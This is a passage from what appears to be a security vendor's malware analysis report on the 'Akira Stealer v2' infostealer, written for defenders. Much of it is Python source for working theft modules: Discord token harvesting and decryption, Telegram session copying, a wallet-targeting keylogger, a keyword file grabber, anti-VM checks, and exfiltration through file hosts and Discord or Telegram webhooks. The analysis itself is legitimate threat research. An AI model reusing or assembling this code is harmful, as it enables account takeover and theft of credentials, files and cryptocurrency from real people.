Harvest\r\nDiscord tokens are authentication artifacts—essentially long-lived bearer tokens—that can grant full access to a user’s\r\naccount without requiring their credentials or MFA. Akira exploits this by scanning browser and app data folders for\r\ntokens stored by various Discord clients, including Discord Stable, Canary, PTB (Public Test Build), and even modified\r\nforks like Lightcord.\r\nThe technique targets LevelDB files under the application's Local Storage, where authentication tokens often remain in\r\nplaintext. Using regular expressions, the malware scans these .log and .ldb files for patterns that match either regular user\r\ntokens or MFA-enabled tokens.\r\nTo increase reliability and reduce noise, Akira includes a validation step: it sends a test request to Discord’s /users/@me\r\nendpoint using each harvested token. Only tokens that successfully authenticate (HTTP 200) are exfiltrated via webhook—\r\ntypically to a Discord channel under attacker control.\r\nThis method allows attackers to hijack Discord accounts in real time, impersonate the victim, scrape DMs and guilds, or\r\ndeploy further malware through social engineering—all without triggering login alerts.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 45 of 72\n\nimport re, requests\r\npatterns = [\r\n r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27,100}\", # User tokens\r\n r\"mfa\\.[\\w-]{84,100}\" # MFA tokens\r\n]\r\ndef harvest_discord(base, webhook_url):\r\n db_dir = os.path.join(base, \"Local Storage\", \"leveldb\")\r\n for file in os.listdir(db_dir):\r\n if file.endswith(('.log', '.ldb')):\r\n for line in open(os.path.join(db_dir, file), errors='ignore'):\r\n for pat in patterns:\r\n for token in re.findall(pat, line):\r\n # Verify token\r\n h = {\"Authorization\": token}\r\n r = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=h)\r\n if r.status_code == 200:\r\n uname = r.json()[\"username\"] + \"#\" + r.json()[\"discriminator\"]\r\n payload = {\"content\": f\"**Discord** {uname}: `{token}`\"}\r\n requests.post(webhook_url, json=payload)\r\nValidation: Only posts valid tokens, preventing stale JWTs from being sent.\r\n7.8.4 Telegram Session Files\r\nTargets: Telegram Desktop/TData\r\ndef steal_telegram(tdata_path, dest_root):\r\n if os.path.exists(tdata_path):\r\n Utils.TaskKill(\"telegram.exe\")\r\n dest = os.path.join(dest_root, \"Wallets\", \"Telegram\")\r\n shutil.copytree(tdata_path, dest, dirs_exist_ok=True)\r\n data.has_telegram = True\r\nFiles: tdata folder containing session keys, D877F... folder with secret/unsecret files.\r\nUse: Load into attacker’s Telegram client for full account access.\r\n7.8.5 Live Wallet Keylogging\r\nCryptocurrency wallets are prime targets for modern info-stealers. Akira includes a live keylogger tailored specifically to\r\nsteal wallet credentials such as seed phrases, private keys, and passwords at the moment of entry. Unlike generic\r\nkeyloggers, this one activates only when a known wallet window is detected, dramatically reducing noise and increasing\r\nefficiency.\r\nThe module monitors active window titles and compares them against a hardcoded list of popular wallet apps like\r\nMetaMask, Phantom, Atomic Wallet, and others. Once a matching window is in focus, it begins recording keystrokes via\r\nsystem-wide keyboard hooks. When the user presses Enter, the module immediately captures the current clipboard\r\ncontents—knowing that users often copy secrets during wallet setup or login—and sends both the typed input and\r\nclipboard data to the attacker's webhook. This approach is extremely effective because it combines two attack vectors:\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 46 of 72\n\nContext-aware keylogging, to capture sensitive wallet inputs only when relevant.\r\nClipboard hijacking, to extract copied recovery phrases or destination addresses before they’re pasted.\r\nTogether, these methods allow attackers to silently compromise wallets in real time, even without browser access or file\r\nexfiltration.\r\nimport keyboard, pyperclip\r\nclass WalletKeylogger:\r\n def __init__(self, wallet_titles):\r\n self.buf = \"\"\r\n keyboard.on_release(self.capture)\r\n self.wallet_titles = wallet_titles\r\n def capture(self, event):\r\n title = pygetwindow.getActiveWindow().title\r\n if any(w in title for w in self.wallet_titles):\r\n if event.name == 'enter':\r\n data = f\"Keys:{self.buf}\\nClip:{pyperclip.paste()}\"\r\n send_to_webhook(data)\r\n self.buf = \"\"\r\n else:\r\n self.buf += event.name\r\nTrigger list: Window titles including “MetaMask”, “Phantom”, “Atomic Wallet”, etc.\r\nClipboard: Captures copied seeds or private keys.\r\n7.8.6 Packaging \u0026 Exfiltration\r\nAfter collecting browser data, credentials, wallet information, and tokens, Akira proceeds to consolidate and exfiltrate the\r\nloot in a highly automated and stealthy manner. This stage marks the final step in the infection chain, and it’s optimized for\r\nreliability and minimal forensic footprint. First, all collected data—including browser dumps, logs, and keylogged wallet\r\ninformation—is compressed into a ZIP archive. This ensures the full dataset can be transferred as a single payload. The\r\narchive is then uploaded to multiple public file-sharing services such as GoFile, File.io, or Oshi.at, depending on\r\navailability. These platforms provide anonymous, temporary hosting, and are often used to bypass corporate firewalls or\r\nreputation-based blocking. A structured report is simultaneously generated and sent to the attacker via a Discord or\r\nTelegram webhook. It includes summary statistics—how many wallets were found, how many tokens were valid, and a\r\ndirect link to the stolen data. This gives attackers a quick overview of the target’s value without opening the archive.\r\nFinally, the malware deletes the temporary folder and the archive from disk, effectively removing local forensic evidence.\r\nBy the time a defender discovers the infection, the data is already gone—and often irretrievable.\r\n# 1) ZIP everything (including Wallets folder)\r\nzip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())\r\n# 2) Attempt upload to primary \u0026 fallback services\r\nurl = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)\r\n# 3) Report summary\r\nembed = {\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 47 of 72\n\n\"title\": \"💰 Wallet \u0026 Token Exfiltration Report\",\r\n \"fields\": [\r\n {\"name\": \"Extension Wallets\", \"value\": data.ext_wallets_count},\r\n {\"name\": \"Desktop Wallets\", \"value\": data.desktop_wallets_count},\r\n {\"name\": \"Discord Tokens\", \"value\": len(valid_tokens)},\r\n {\"name\": \"Telegram Sessions\", \"value\": data.has_telegram},\r\n {\"name\": \"Archive Link\", \"value\": url or \"[upload failed]\"},\r\n ]\r\n}\r\nWebhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)\r\n# 4) Cleanup local folder \u0026 ZIP\r\nUtils.clear_client_folder()\r\n7.9. Discord and Telegram Token Theft (Class: Discord )\r\nAkira Stealer v2’s Discord class executes a highly parallelized, multi-stage process to harvest both Discord authorization\r\ntokens and Telegram session data. Below, we dissect each component with precise code references and illustrative\r\nexamples.\r\n7.9.1 Initialization \u0026 Path Enumeration\r\nUpon instantiation, the constructor builds two sets of target paths:\r\n# Discord client LevelDB directories\r\ndiscord_paths = [\r\n [f\"{self.ROAMING}/Discord\", \"/Local Storage/leveldb\"],\r\n [f\"{self.ROAMING}/Lightcord\", \"/Local Storage/leveldb\"],\r\n ...\r\n]\r\n# Chromium-based browser LevelDB directories\r\nbrowserPaths = [\r\n [f\"{self.ROAMING}/Opera Software/Opera GX Stable\", \"opera.exe\", \"/Local Storage/leveldb\", ...],\r\n [f\"{self.LOCAL}/Google/Chrome/User Data\", \"chrome.exe\", \"/Default/Local Storage/leveldb\", ...],\r\n ...\r\n]\r\nDiscord Paths target official and unofficial Discord clients under %APPDATA% .\r\nBrowser Paths cover popular browsers’ user data folders, including subfolders for local storage and extensions.\r\nThreads are spawned for each entry:\r\nfor patt in browserPaths:\r\n t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])\r\n t.start()\r\nfor patt in discord_paths:\r\n t = Thread(target=self.get_discord, args=[patt[0], patt[1]])\r\n t.start()\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 48 of 72\n\nThis threading model maximizes I/O throughput, probing dozens of directories concurrently.\r\nPlaintext Token Scraping from Browsers\r\nget_btoken(path, arg) navigates to each LevelDB folder and inspects .log and .ldb files:\r\nfor file in os.listdir(path + arg):\r\n if file.endswith((\".log\", \".ldb\")):\r\n for line in open(f\"{path}{arg}/{file}\", errors=\"ignore\"):\r\n for regex in (r\"[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}\", r\"mfa\\.[\\w-]{80,95}\"):\r\n tokens = re.findall(regex, line)\r\n for token in tokens:\r\n self.tokens.append(token)\r\n self.cehckToken(token)\r\nRegex [\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110} matches standard Discord tokens.\r\nRegex mfa\\.[\\w-]{80,95} captures MFA tokens.\r\nDeduplication is implicit: tokens stored in self.tokens before validation.\r\nEncrypted Token Decryption in Discord Client\r\nDiscord’s client encrypts Local Storage entries under DPAPI, prefaced by v10 or v11 . get_discord(path, arg)\r\nhandles this:\r\n# Read Local State to obtain encrypted master key\r\nwith open(path + \"/Local State\", 'r') as f:\r\n local_state = json.load(f)\r\nencrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]\r\nmaster_key = self.CryptUnprotectData(encrypted_key)\r\n# Iterate LevelDB files for Base64 payloads\r\nfor file in os.listdir(path + arg):\r\n if file.endswith((\".log\", \".ldb\")):\r\n for line in open(f\"{path}{arg}/{file}\"):\r\n for token_part in re.findall(r\"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)\", line):\r\n ciphertext = b64decode(token_part)\r\n token = self.decrypt_value(ciphertext, master_key)\r\n self.tokens.append(token)\r\n self.cehckToken(token)\r\nMaster Key Recovery: Strips the 5-byte DPAPI header, then calls CryptUnprotectData (wrapping Windows\r\nDPAPI) to decrypt the AES-GCM key.\r\nPayload Parsing: Tokens are prefixed with dQw4w9WgXcQ: (an attacker-chosen marker). After Base64 decoding,\r\ndecrypt_value() splits IV and ciphertext:\r\ndef decrypt\\_value(buff, master\\_key):\r\niv = buff\\[3:15]\r\npayload = buff\\[15:]\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 49 of 72\n\ncipher = AES.new(master\\_key, AES.MODE\\_GCM, iv)\r\nreturn cipher.decrypt(payload)\\[:-16].decode()\r\n7.9.3 Token Validation \u0026 Exfiltration\r\nEach extracted token is validated via live API call:\r\nheaders = {\"Authorization\": token}\r\nresp = requests.get(\"https://discordapp.com/api/v9/users/@me\", headers=headers)\r\nif resp.status_code == 200:\r\n self.cehckToken(token)\r\nOn success, cehckToken() determines whether to send via Telegram ( useTg=True ) or Discord webhook:\r\nif useTg:\r\nself.sendTokenTg(token)\r\nelse:\r\nself.send\\_embed(token)\r\nsend_embed crafts a rich Discord embed containing user metadata (username, discriminator, email, Nitro status,\r\nbilling info) using fields from\r\nuser_json = requests.get(...).json()\r\nusername = user_json[\"username\"]\r\nid = user_json[\"id\"]\r\n# embed fields: token, email, phone, IP, flags, Nitro, billing\r\nsendTokenTg sends a plain-text summary over Telegram API.\r\n7.9.4 Telegram Session Harvesting\r\nBeyond Discord tokens, the stealer grabs Telegram Desktop sessions:\r\n@staticmethod\r\ndef steal_telegram():\r\n src = f\"{os.getenv('APPDATA')}/Telegram Desktop/tdata\"\r\n Utils.TaskKill(\"telegram.exe\")\r\n shutil.copytree(src, os.path.join(Utils.get_temp_folder(), \"Telegram\"))\r\nProcess Termination: Ensures file locks are released.\r\nRecursive Copy: Steals tdata folder, including user sessions, contacts, and cached messages.\r\nExfiltration: The stolen folder is zipped and uploaded via sendFilesTG() , with the download link embedded in a\r\nTelegram message.\r\nAkira Stealer’s Discord module combines regex-based scraping, DPAPI-backed AES-GCM decryption, live API\r\nvalidation, and multi-protocol exfiltration (webhook + Telegram) to deliver a seamless account takeover capability across\r\nboth Discord and Telegram platforms.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 50 of 72\n\n7.10 System Profiling\r\nAkira Stealer v2 incorporates an extensive system profiling phase to gather host metadata, environment attributes, and\r\nnetwork details. This information is collated in the Data class and later packaged with exfiltrated credentials. Below, we\r\nbreak down the profiling logic with direct code references.\r\n7.10.1 Data Class Initialization\r\nOn startup, an instance of Data is created:\r\nclass Data:\r\n def __init__(self):\r\n self.username = os.getlogin()\r\n self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\r\n self.system_info = f\"Computer Name: {self.computerName}\\n...\"\r\n ...\r\n self.ip = requests.get(url=\"https://api.ipify.org\").text\r\n ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\r\n self.country = ipdata.get(\"country\")\r\n self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\r\nUsername \u0026 Hostname: Retrieved via os.getlogin() and COMPUTERNAME environment variable.\r\nIP Address: Fetched with requests.get(\"https://api.ipify.org\") , then geolocated via ip-api.com for\r\ncountry and ISO code.\r\n7.10.2 OS and Hardware Enumeration\r\nUsing Windows Management Instrumentation (WMI) commands:\r\n# Operating System\r\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\r\n# Total Physical Memory\r\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\r\n# BIOS UUID\r\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\r\n# CPU Identifier\r\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\r\n# GPU Name\r\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\r\n# Windows Product Key\r\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...Softwar\r\nResults are parsed to human-readable strings ( strip() , index operations) and concatenated into:\r\nself.system_info = (\r\n f\"Computer Name: {self.computerName}\\n\"\r\n f\"Total Memory: {self.totalMemory}\\n\"\r\n f\"CPU: {self.cpu}\\n\"\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 51 of 72\n\nf\"GPU: {self.gpu}\\n\"\r\n f\"Product Key: {self.productKey}\"\r\n)\r\n7.10.3 VM Detection \u0026 Anti-Sandbox Checks\r\nBefore deep profiling, the malware invokes VmProtect.isVM(level) to detect virtualization or analysis environments:\r\nif VmProtect.isVM(1):\r\n sys.exit()\r\nKey checks include:\r\nRegistry Keys \u0026 Driver Descriptors: Queries virtualization-related registry entries.\r\nBlacklisted UUIDs \u0026 Computer Names: Matches against known VM fingerprints.\r\nHTTP Simulation: Attempts to connect to a nonexistent domain under HTTPS.\r\nProcess Blacklist: Spawns a background thread to kill tools like wireshark , ollydbg , ida64 .\r\n7.10.4 Packaging \u0026 Transmission\r\nThe collected system_info , IP, and country flag are embedded in the webhook payload headers:\r\nwebhook_payload = {\r\n \"embeds\": [{\r\n \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\r\n \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\r\n \"fields\": [...]\r\n }]\r\n}\r\nrequests.post(self.webhook_url, json=webhook_payload)\r\nFlag Emoji: Derived from ISO country code.\r\nFields: Include counts of stolen passwords, cookies, etc., but the system info is in the embed description for\r\nimmediate context.\r\nSummary: System profiling in Akira Stealer v2 gathers comprehensive host and network data via WMI commands,\r\nenvironment variables, and IP geolocation. Coupled with VM detection and tool-killing routines, this ensures the attacker\r\nhas a full snapshot of the compromised environment, enhancing targeted follow-up actions and filtering out analysis\r\nsandboxes.\r\n7.11 File Grabber (Class: Utils.steal_files )\r\nBeyond browser data and tokens, Akira also attempts to extract valuable user-generated content—such as documents,\r\nspreadsheets, private notes, and cryptographic key files. The File Grabber module is responsible for this task. It operates by\r\nscanning high-value directories for common file types and patterns, then silently adding them to the exfiltration bundle.\r\nWhat makes this module especially dangerous is its simplicity and focus: it doesn’t attempt to crawl the entire file system.\r\nInstead, it targets specific, high-probability locations where sensitive files are typically stored. These include the Desktop,\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 52 of 72\n\nDocuments, Downloads, and OneDrive directories—each relative to the user's home path. This focused approach improves\r\nboth speed and stealth, reducing the likelihood of detection during the scan. It also avoids alerting the user by not\r\naccessing system or protected directories. Once files of interest are located, they are copied into a temporary folder,\r\noptionally renamed or grouped, and later compressed into the final ZIP archive that’s uploaded in the exfiltration phase.\r\n7.11.1 Target Directories Enumeration\r\nThe stealer focuses on four high-yield folders:\r\nsearchFolders = [\r\n \"Desktop\",\r\n \"Documents\",\r\n \"Downloads\",\r\n \"OneDrive\"\r\n]\r\nEach folder is interpreted relative to the victim’s home directory:\r\nfor folder in searchFolders:\r\n current_path = os.path.join(os.environ['USERPROFILE'], folder)\r\n if os.path.exists(current_path):\r\n # proceed to scan\r\n7.11.2 Keyword \u0026 Extension Filtering\r\nKeyword List\r\nA predefined set of substrings guides file selection. Only filenames containing at least one keyword are considered:\r\nkeywordsFiles = [\r\n \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\r\n \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\r\n]\r\nPartial Matches: Keywords like passw capture both passwords.txt and passw_backup.docx .\r\nBroad Coverage: Encompasses authentication, wallet, crypto, and token-related terms.\r\n7.11.3 Allowed File Types\r\nTo minimize noise, a whitelist of extensions is enforced:\r\nallowed_extensions = [\r\n \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\r\n \".jpg\", \".png\"\r\n]\r\n7.11.3 Size Constraint\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 53 of 72\n\nFiles larger than 2 megabytes are skipped to optimize exfiltration speed and avoid large transfers:\r\nfile_size_mb = os.path.getsize(full_path) / (1024 * 1024)\r\nif file_size_mb \u003c= 2:\r\n # eligible for copy\r\n7.11.4 Recursive Scanning \u0026 Copy Logic\r\nOnce the high-value directories have been identified, Akira initiates a recursive scanning routine to traverse subfolders and\r\nlocate files matching specific keywords and extensions. This phase is built for precision and stealth: only files that match\r\npre-defined criteria—such as filenames containing sensitive keywords and approved filetypes—are considered. The logic\r\nensures that only relevant, user-generated content is exfiltrated. It ignores system files, caches, and binaries, and limits the\r\nsize of any single file to 2 MB to reduce upload size and detection risk. This scanning method is silent, efficient, and\r\noptimized for stealthy data theft in real-world environments. By copying matching files into a staging folder and\r\nmaintaining a list of what was taken, Akira prepares the content for bundling and exfiltration—while minimizing\r\nduplication and operational noise.\r\nThe core routine steal_files() operates as follows:\r\n@staticmethod\r\ndef steal_files():\r\n stolen_files = set()\r\n temp_folder = Utils.get_temp_folder()\r\n for folder in searchFolders:\r\n current_path = os.path.join(os.environ['USERPROFILE'], folder)\r\n if os.path.exists(current_path):\r\n for root, _, files in os.walk(current_path):\r\n for file in files:\r\n lower = file.lower()\r\n # Keyword check\r\n if any(keyword in lower for keyword in keywordsFiles):\r\n ext = os.path.splitext(lower)[1]\r\n # Extension and size check\r\n if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003c= 2 * 1024 * 1024:\r\n # Prepare destination\r\n files_dir = os.path.join(temp_folder, \"Files\")\r\n os.makedirs(files_dir, exist_ok=True)\r\n shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\r\n stolen_files.add(file)\r\n data.stolen_files.extend(stolen_files)\r\nKey points:\r\n1. os.walk : Recursively descends into subdirectories.\r\n2. Case-insensitive matching: Filenames are normalized via lower() .\r\n3. Atomic copy: Uses shutil.copy to preserve file content.\r\n4. Set of stolen filenames: Prevents duplicate copies when the same file appears twice.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 54 of 72\n\n5. Integration with Data : data.stolen_files accumulates the stolen file list for later reporting.\r\n7.11.5 Archiving and Exfiltration\r\nAfter collection, the Files folder is zipped and dispatched:\r\n# Archive\r\nUtils.zip_client_file() # creates CLIENT.zip from temp_folder\r\n# Upload \u0026 Notify\r\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\r\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\r\nzip_client_file() : Compresses the entire temp directory, including Files , Cookies , Passwords , etc.\r\nsendFilesTG() : Posts the download link via Telegram or Discord webhook, listing each stolen filename:\r\nfields.append({\r\n\"name\": \"📂 Files\",\r\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\r\n\"inline\": False\r\n})\r\nConclusion:\r\nThe File Grabber in Akira Stealer v2 systematically hunts for sensitive documents using keyword and extension filters,\r\nrespects a 2 MB size cap for efficiency, and consolidates stolen items into an archive. Its design ensures both breadth\r\n(multiple folders) and precision (targeted filters), making it one of the most impactful stages of the malware’s lifecycle.\r\n7.12 Exfiltration Strategy\r\nThe exfiltration module handles harvested tokens and additional artifacts (cookies, autofills, logs) by staging them in a\r\nstructured directory, compressing into an archive, uploading to multiple online file hosts, and sending detailed webhook\r\nnotifications. This section deconstructs each step with file paths, domain endpoints, and code references for full\r\ntraceability.\r\n7.12.1 Directory Layout \u0026 Filenames\r\nAkira organizes all collected artifacts into a clean and hierarchical temporary directory structure. This design allows for\r\nefficient packaging and easy post-exfiltration review by the attacker. Each data category—such as Tokens, Cookies,\r\nPasswords, or Screenshots—is stored in its own subfolder under a root path named after the victim’s computer (e.g.,\r\nDESKTOP1234). This structured layout ensures clarity, minimizes duplication, and streamlines the archiving and upload\r\nprocess. It also makes automated parsing or manual inspection much easier on the attacker side.\r\nC:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\r\n├─ Tokens\\\r\n│ ├ token_ab12cd34.txt\r\n│ └ token_ef56gh78.txt\r\n├─ Cookies\\\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 55 of 72\n\n│ ├ Chrome_Cookies.txt\r\n│ └ Discord_Cookies.txt\r\n├─ Autofill\\\r\n├─ Passwords\\\r\n├─ Logs\\\r\n└─ Screenshots\\\r\n7.12.2 Token \u0026 Artifact Staging\r\nBefore exfiltration, Akira stages all relevant artifacts in the corresponding subfolders. Token values, for instance, are\r\nwritten into individual .txt files to facilitate quick scanning and validation. Cookies, autofill entries, and passwords are\r\nsimilarly written into structured text files named by browser. This step standardizes the data layout, enabling automated\r\ntooling to track what was harvested. It also ensures that the zip archive later reflects a predictable and attacker-friendly\r\nformat, regardless of which modules were triggered.\r\nimport os, shutil\r\n# Constants\r\nTMP = os.getenv('TEMP')\r\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\r\n# Prepare structure\r\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\r\n os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\r\n# Save token\r\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\r\n f.write(token)\r\nTokens saved in separate small text files for quick inspection.\r\nCookie dumps from Chromium.GetCookies() written to {Browser}_Cookies.txt .\r\n7.13.3 ZIP Archive Creation\r\nOnce staging is complete, Akira compresses the entire directory into a single ZIP archive. The archive filename follows a\r\nconsistent naming convention: _.zip, using the host’s machine name and a UTC timestamp in ISO 8601 format. This\r\nensures both uniqueness and chronological traceability. By walking the entire staging directory recursively, every file is\r\npreserved in its relative structure within the ZIP. This format simplifies bulk retrieval and inspection by attackers,\r\nespecially if hundreds of victims are compromised in parallel.\r\nimport zipfile, datetime\r\ndef create_archive(root_dir: str) -\u003e str:\r\n ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\r\n zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\r\n zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\r\n with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\r\n for dirpath, _, files in os.walk(root_dir):\r\n for fname in files:\r\n full = os.path.join(dirpath, fname)\r\n rel = os.path.relpath(full, root_dir)\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 56 of 72\n\nzf.write(full, rel)\r\n return zip_path\r\nArchive named DESKTOP1234_20250505T123456Z.zip for host coherence.\r\nZIP Filename Convention\r\nThe archive is named using the compromised host’s computer name followed by a UTC timestamp in ISO format, ensuring\r\nuniqueness and chronological order.\r\nimport datetime, os\r\ndef create_archive(root_dir: str) -\u003e str:\r\n # Generate UTC timestamp in YYYYMMDDThhmmssZ format\r\n ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\r\n # Construct ZIP filename: \u003cComputerName\u003e_\u003cTimestamp\u003e.zip\r\n zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\r\n zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\r\n return zip_path\r\nThe archive is named using the compromised host’s computer name followed by a UTC timestamp in ISO format, ensuring\r\nuniqueness and chronological order.\r\n7.14.4 Upload Workflow\r\nAkira uses a three-tier upload strategy to maximize the chance of successful data exfiltration. It first attempts to upload the\r\narchive to GoFile.io using their public API, which returns a download link. If GoFile is unavailable or blocked, it falls\r\nback to File.io and then Oshi.at, ensuring the data is always transferred. These services provide anonymous, short-lived\r\nhosting, which makes takedown and traceability difficult. The script captures the final download URL and prepares it for\r\nwebhook delivery.\r\n1. Primary: GoFile.io\r\nAPI to fetch servers: GET https://api.gofile.io/servers\r\nUpload endpoint: POST https://\u003cserver\u003e.gofile.io/contents/uploadfile\r\nResponse field: data.downloadPage contains final URL.\r\n2. Fallback #1: File.io\r\nUpload endpoint: POST https://file.io/ with files={'file': open(...)}\r\nResponse: JSON link field.\r\n3. Fallback #2: Oshi.at\r\nUpload endpoint: POST http://oshi.at/ with files[] and parameters expire=43200, autodestroy=0 .\r\nResponse: Plain text containing DL: \u003curl\u003e .\r\nImplementation Snippet:\r\nimport requests\r\ndef upload_with_fallback(zip_path):\r\n # GoFile\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 57 of 72\n\ntry:\r\n servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\r\n for srv in servers:\r\n try:\r\n r = requests.post(\r\n f'https://{srv}.gofile.io/contents/uploadfile',\r\n files={'file': open(zip_path,'rb')}, timeout=20)\r\n url = r.json()['data']['downloadPage']\r\n if url: return url\r\n except: continue\r\n except: pass\r\n # File.io\r\n try:\r\n r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\r\n return r.json().get('link','')\r\n except: pass\r\n # Oshi.at\r\n try:\r\n text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\r\n return text.split('DL: ')[1].strip()\r\n except: pass\r\n return ''\r\n7.15.5 Webhook Alerts, Attacker Retrieval \u0026 Analyst Visibility Limits\r\nAfter uploading the ZIP archive, Akira sends a webhook notification—typically to Discord or Telegram—with a structured\r\nembed containing detailed information: number of stolen tokens, cookie count, file size, and a clickable download link.\r\nThis gives attackers immediate feedback and retrieval access. To ensure reliability, a plaintext fallback message is also\r\nsent, containing just the archive link. This redundancy guarantees delivery, even if the embed is blocked by the platform or\r\nfiltered. From the defender’s perspective, these communications are often invisible unless outbound network monitoring is\r\nin place.\r\nEmbed Notification\r\n# Build embed with key metadata\r\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\r\nfields = [\r\n {'name':'️ Archive','value':f'[Download Archive]({download_url})','inline':False},\r\n {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\r\n {'name':'🔑 Tokens','value':str(token_count),'inline':True},\r\n {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\r\n {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\r\n]\r\npayload = {\r\n 'username':'Akira 💊',\r\n 'embeds':[{'title':'️ Exfiltration Complete','fields':fields}]\r\n}\r\nrequests.post(webhook_url, json=payload, timeout=8)\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 58 of 72\n\nDelivery: Sent to the attacker’s Discord/Telegram channel.\r\nEmbed Link: Contains a clickable download_url pointing to the ZIP on GoFile (or fallback host).\r\nRaw Link Fallback\r\n# Ensure attacker always has direct URL, even if embeds fail\r\nmessage = f\"📥 Archive available at: {download_url}\"\r\nrequests.post(webhook_url, data={'message': message}, timeout=8)\r\nPlain Text: Guarantees delivery of the link in case embeds are blocked or silently dropped.\r\nHow the Attacker Retrieves the Link\r\n1. Webhook Infrastructure The attacker embeds the webhook endpoint in the malware configuration:\r\n# at class initialization\r\nself.default_webhook = \"%DISCORD_OR_TG_WEBHOOK_URL%\"\r\nDiscord: https://discord.com/api/webhooks/\u003cWEBHOOK_ID\u003e/\u003cWEBHOOK_TOKEN\u003e\r\nTelegram: https://api.telegram.org/bot\u003cTELEGRAM_TOKEN\u003e/sendMessage\r\n2. Real-Time Delivery Immediately after a successful file upload, the malware executes:\r\npayload = {\r\n 'username': 'Akira 💊',\r\n 'embeds': [{\r\n 'title': '️ Exfiltration Complete',\r\n 'fields': [\r\n {'name': '️ Archive', 'value': f'[Download ZIP]({download_url})'}\r\n ]\r\n }]\r\n}\r\n# Transmit the archive URL entirely in the JSON body\r\nrequests.post(self.default_webhook, json=payload, timeout=8)\r\nThe download_url variable is interpolated into the embed’s fields.value .\r\nFor Telegram fallback, the download_url appears in the plain-text message parameter.\r\n3. EDR \u0026 Forensic Visibility Limitations\r\nNo Local Logging: The malware does not write the download_url to disk or system logs.\r\nEDR Blind Spots: Tools like Microsoft Defender for Endpoint may flag the HTTP request attempt but cannot\r\nextract the embedded URL.\r\n4. Why the Analyst Cannot Recover This Locally:\r\nNo Local Copy of Link: The malware writes the download_url only in memory and transmits it over the\r\nnetwork; it does not save this URL to disk or logs.\r\nhttps://www.glueckkanja.com/en/posts/2025-06-16-quiet-breach\r\nPage 59 of 72\n\nEphemeral Staging Cleanup: Immediately after upload, the code executes:\r\nshutil.rmtree(ROOT),\r\nerasing all staged artifacts (including any transient text files) from %TEMP% .\r\nNetwork-Only Transmission: Webhook calls ( requests.post ) occur in-memory; no HTTP logs or browser\r\nhistory entries are created on the victim machine.\r\nImplication for Analysts: Without live packet capture (e.g., network TAP or proxy) at the time of execution, the\r\nexact download_url is unrecoverable post-infection. Additionally, the exfiltrated archive is auto-deleted from\r\nthe hosting service, further reducing the window for 